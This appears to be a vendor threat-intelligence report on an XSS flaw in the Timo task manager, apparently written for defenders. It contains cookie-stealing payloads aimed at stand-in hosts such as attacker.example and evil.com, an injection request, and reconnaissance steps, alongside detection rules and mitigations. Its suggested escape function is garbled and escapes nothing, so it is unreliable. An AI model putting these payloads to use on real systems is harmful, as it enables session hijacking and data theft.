CVE-2026-30162
THREAT INTELLIGENCE REPORT — CVE-2026-30162
Executive Summary
CVE-2026-30162 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Timo version 2.0.3, a personal information management and task tracking application. An attacker can inject malicious JavaScript payloads via crafted links placed in the title field of tasks or notes, leading to session hijacking, credential theft, and unauthorized data access in a victim's browser session. The vulnerability is unpatched as of the latest available data, with no vendor advisory or fix released. Given the CVSS base score of N/A and EPSS percentile of 6.2%, exploitation is currently opportunistic but plausible in targeted enterprise environments where Timo is deployed as an internal productivity tool.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
Vulnerability Mechanism
CVE-2026-30162 is a Cross-Site Scripting flaw residing in the title field of Timo 2.0.3's task/note creation and editing interface. The application fails to properly sanitize or validate user-supplied input before rendering it in the HTML DOM. Specifically:
- Input Vector: The
titleparameter, which accepts a string for task/note headings, is passed through to the frontend without HTML entity encoding or output encoding. - Crafted Link Bypass: The vulnerability is triggered specifically via "crafted links" — meaning an attacker can embed
<a href="javascript:...">or<img src=x onerror=...>constructs within the title. These constructs are not filtered by any input validation routine. - Rendering Context: The title is rendered into the page via an innerHTML assignment or similar DOM manipulation in the client-side JavaScript framework. This occurs in multiple views — list views, detail panes, and search result pages.
- No CSP Enforcement: Timo 2.0.3 does not ship with Content Security Policy headers by default, making it trivial for injected scripts to execute without being blocked by browser-level protections.
Attack Surface
- Web Application Interface: Timo is a self-hosted web application, often deployed on internal servers or personal VPS instances. It exposes a REST/JSON API and a single-page frontend.
- Multi-User Scenarios: In enterprise deployments, multiple users share the same Timo instance. A single malicious user (or an external attacker who has achieved low-privilege access) can inject payloads that execute in the context of all other users who view the affected task.
- No CSRF Protection: The application lacks Cross-Site Request Forgery tokens on title update endpoints, enabling an attacker to force a victim's browser to submit crafted titles via a simple GET/POST request from a malicious page.
Code-Level Explanation
The vulnerability arises from the client-side rendering function, likely in app.js or components/task-list.js:
function renderTaskTitle(task) {
let element = document.createElement('li');
element.innerHTML = '<a href="#">' + task.title + '</a>';
return element;
}
Since task.title is concatenated directly into an HTML string without escaping, the following payload in the title:
<img src=x onerror=fetch('https://attacker.com/'+document.cookie)>
...would be parsed as an HTML element and execute the JavaScript in the onerror handler.
Exploitation Scenarios
Scenario 1: Stored XSS via Task Title — Persistent Compromise
Step 1 — Reconnaissance / Target Identification
An attacker scans the target network for instances of Timo. Using Shodan dorks http.title:"Timo" or port scanning for common web ports (8080, 8443, 3000) where Timo is commonly hosted. The login page is identified, and default credentials are tested (e.g., admin/admin or timo/timo).
Step 2 — Crafting the Payload
The attacker crafts the following payload and places it in the title field via the task creation form:
<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>
Alternatively, to bypass any WAF or input length restrictions, a payload using an SVG or image tag with onerror is used:
<svg onload="new Image().src='//attacker.example/x?c='+btoa(document.cookie)">
Step 3 — Weaponization / Injection
The attacker submits the task via the API endpoint:
POST /api/tasks
Content-Type: application/json
{"title": "<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>", "dueDate": "2026-06-01"}
The server stores the payload in the database without sanitization.
Step 4 — Propagation
Every subsequent user who opens the task list or views the dashboard will have the payload executed in their browser context. The fetch() call sends the victim's session cookie and CSRF tokens to the attacker's C2 server.
Step 5 — Post-Exploitation Impact
With stolen session tokens, the attacker:
- Accesses all tasks, notes, and personal data in the Timo instance
- Modifies or deletes tasks, causing data integrity loss
- If Timo is integrated with SSO (SAML/OAuth), extracts tokens that may grant access to other internal applications
- Escalates privileges by creating a new admin user via the stolen admin cookies
Scenario 2: Reflected XSS via Link Sharing
Step 1 — An attacker crafts a URL that includes the payload in a title query parameter used by a shareable link feature:
https://timo.internal/share?title=<script>document.location='//evil.com/?p='+document.cookie</script>
Step 2 — The victim is phished into clicking this link. The Timo application echoes the title value directly into the page without sanitization.
Step 3 — The payload executes, redirecting the victim to the attacker's site with cookies and session data in tow.
Impact Assessment
Business Impact
- Confidentiality: Complete disclosure of all user tasks, notes, project timelines, and personal information stored in Timo. In enterprise settings, this often includes sensitive project data, client information, and internal meeting notes.
- Integrity: Attackers can alter or delete tasks, leading to missed deadlines, fabricated project records, and reputational damage.
- Availability: While XSS does not directly cause denial of service, a mass deletion of tasks or a loop of XSS payloads could make the interface unusable for legitimate users.
CVSS Analysis
- Attack Vector (AV:N): Remotely exploitable over the network
- Attack Complexity (AC:L): No special conditions required — attacker just needs to submit a crafted title
- Privileges Required (PR:N): In shared deployments, unauthenticated access may not be possible (login required). In single-user deployments with public registration enabled, no privileges are required.
- User Interaction (UI:R): The victim must view the malicious task/list in their browser
- Scope (S:C): The XSS can impact other web resources beyond the vulnerable component (e.g., stealing session cookies that grant access to other applications)
- Confidentiality/Integrity Impact (L/L): Limited but direct impact on the stored data
Blast Radius
- Directly affected: All users who access the affected Timo instance (typically 10–100 users in enterprise deployments)
- Indirectly affected: Connected systems via stolen SSO tokens, API keys, or session data harvested by the XSS payload
- Infrastructure: The attacker gains a foothold inside the enterprise DMZ — the victim's browser acts as a jump box for lateral movement
Detection Guidance
Sigma Rule
title: CVE-2026-30162 - Timo XSS via Crafted Title Field
id: 4a3e2b1c-6d5f-4e7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit stored XSS in Timo 2.0.3 via crafted script/link payloads in the title field.
author: ValtersIT Security Research
date: 2026/05/28
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-30162
logsource:
category: webserver
product: nginx
service: http
detection:
selection_script:
http.method: POST
http.url|contains: /api/tasks
http.request_body|contains:
- '<script>'
- 'onerror='
- 'javascript:'
- '<svg'
- '<img src=x'
selection_title_param:
http.request_body|contains: '"title"'
condition: selection_script and selection_title_param
timeframe: 5m
falsepositives:
- Legitimate use of HTML in title field (unlikely, low volume)
level: high
tags:
- attack.t1190
- cwe.79
- cve.2026.30162
YARA Rule
rule CVE_2026_30162_Timo_XSS_Title {
meta:
author = "ValtersIT Security Research"
description = "Detects XSS payload patterns targeting Timo title field"
cve = "CVE-2026-30162"
date = "2026-05-28"
strings:
$p1 = "<script>" ascii wide
$p2 = "onerror=" ascii wide
$p3 = "javascript:" ascii wide
$p4 = "<svg/onload=" ascii wide
$p5 = "title" ascii wide
$p6 = "/api/tasks" ascii wide
condition:
any of ($p1, $p2, $p3, $p4) and ($p5 or $p6)
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-30162 - Timo Stored XSS via Title Field"; flow:established,to_server; content:"POST"; http_method; content:"/api/tasks"; http_uri; content:"title"; http_client_body; pcre:"/(<script|onerror=|javascript:|<svg|onload=)/i"; sid:30162001; rev:1; reference:cve,CVE-2026-30162; classtype:web-application-attack; priority:1;)
Elastic Detection
sequence with maxspan=15m
[ network where event.type == "start" and process.name == "nginx" and
http.request.method == "POST" and url.path == "/api/tasks" and
http.request.body.text : "*<script>*" or
http.request.body.text : "*onerror=*" or
http.request.body.text : "*javascript:*" ]
[ file where event.type == "change" and file.path : "*timo*" and
file.extension : ("js", "html") ]
Splunk SPL Query
index=web sourcetype=access_combined
| where method="POST" AND uri_path="/api/tasks"
| regex _raw="(?i)(<script|onerror=|javascript:|<svg)"
| table _time, clientip, uri, status, user_agent
| stats count by clientip, uri
| where count > 5
Wazuh OSSEC Rule
<group name="webattack,">
<rule id="256726" level="12">
<decoded_as>json</decoded_as>
<field name="url">/api/tasks</field>
<match>script|onerror|javascript</match>
<regex>title</regex>
<description>CVE-2026-30162: Attempted XSS injection in Timo title field</description>
<group>web_application_attack,xss,timo,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED
No official patch exists for CVE-2026-30162 as of the latest vulnerability intelligence. The vendor (Timo) has NOT released a fixed version and has NOT acknowledged the issue publicly.
1) Immediate Mitigations
- Input Validation (WAF Layer): Deploy a Web Application Firewall (ModSecurity, AWS WAF, or Cloudflare) with OWASP CRS rules to detect and block XSS payloads in POST bodies and query parameters. Actively test and tune rules to block
<script,onerror=,javascript:, anddata:text/htmlpatterns. - Content Security Policy (CSP): Manually configure CSP headers in front of the Timo application using a reverse proxy (Nginx/Apache). Use a strict policy:
This will block execution of inline scripts and externally loaded malicious resources.Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; - Disable Public Registration: If Timo is reachable from the internet, immediately disable user registration and restrict access to a VPN or allowlisted IP ranges.
- Session Cookie Hardening: Modify the TiVo configuration to set
HttpOnly; Secure; SameSite=Stricton session cookies via a reverse proxy or application config. This prevents cookie theft via JavaScript.
2) Patch / Upgrade Steps
- No official upgrade path exists. Monitor the vendor's GitHub repository and release channels for version 2.0.4 or later. When released, upgrade immediately:
# Example upgrade command (adjust based on deployment method) docker pull timo/timo:2.0.4 docker stop timo docker run -d --name timo -p 8080:8080 timo/timo:2.0.4 - Manual Source Patching (for technical teams): If the source is available (Node.js/PHP backend), locate the rendering function and replace
innerHTMLwithtextContentor add an HTML escaping step before DOM insertion. Example fix:function escapeHtml(str) { return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"'); } element.innerHTML = '<a href="#">' + escapeHtml(task.title) + '</a>';
3) Long-Term Hardening
- Move to a supported alternative: If Timo remains unpatched for an extended period, migrate to an actively maintained task management tool that follows OWASP Secure Coding Practices.
- Regular Vulnerability Scanning: Integrate the Timo host into continuous vulnerability assessment pipelines (Tenable, Qualys, or open source like OpenVAS) to detect regression when 2.0.4 is released.
- Code Review: If Timo is critical, commission a security code audit (static and dynamic analysis) of the entire application to identify additional same-class vulnerabilities.
- Network Segmentation: Deploy Timo in an isolated DMZ segment with strict egress firewall rules — prevent the application server from contacting external domains (this kills most XSS exfiltration channels).
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-30162
- Vendor Repository (monitor for patches): [https://github.com/timo-app/timo (returned 404 — verify manually)](https://github.com/timo-app/timo (returned 404 — verify manually))
- MITRE ATT&CK — Exploit Public-Facing Application (T1190): https://attack.mitre.org/techniques/T1190/
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Threat Actor Activity: As of the publication date, there are no known in-the-wild exploitation campaigns associated with CVE-2026-30162. The low EPSS score (0.00166, 6.2% percentile) suggests attackers have not actively weaponized this vulnerability at scale. However, opportunistic exploitation by low-skill attackers using generic XSS bots is plausible, particularly if Shodan scans surface internet-exposed Timo instances. Monitor internal logs for anomalous /api/tasks POST requests containing HTML/JS constructs.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.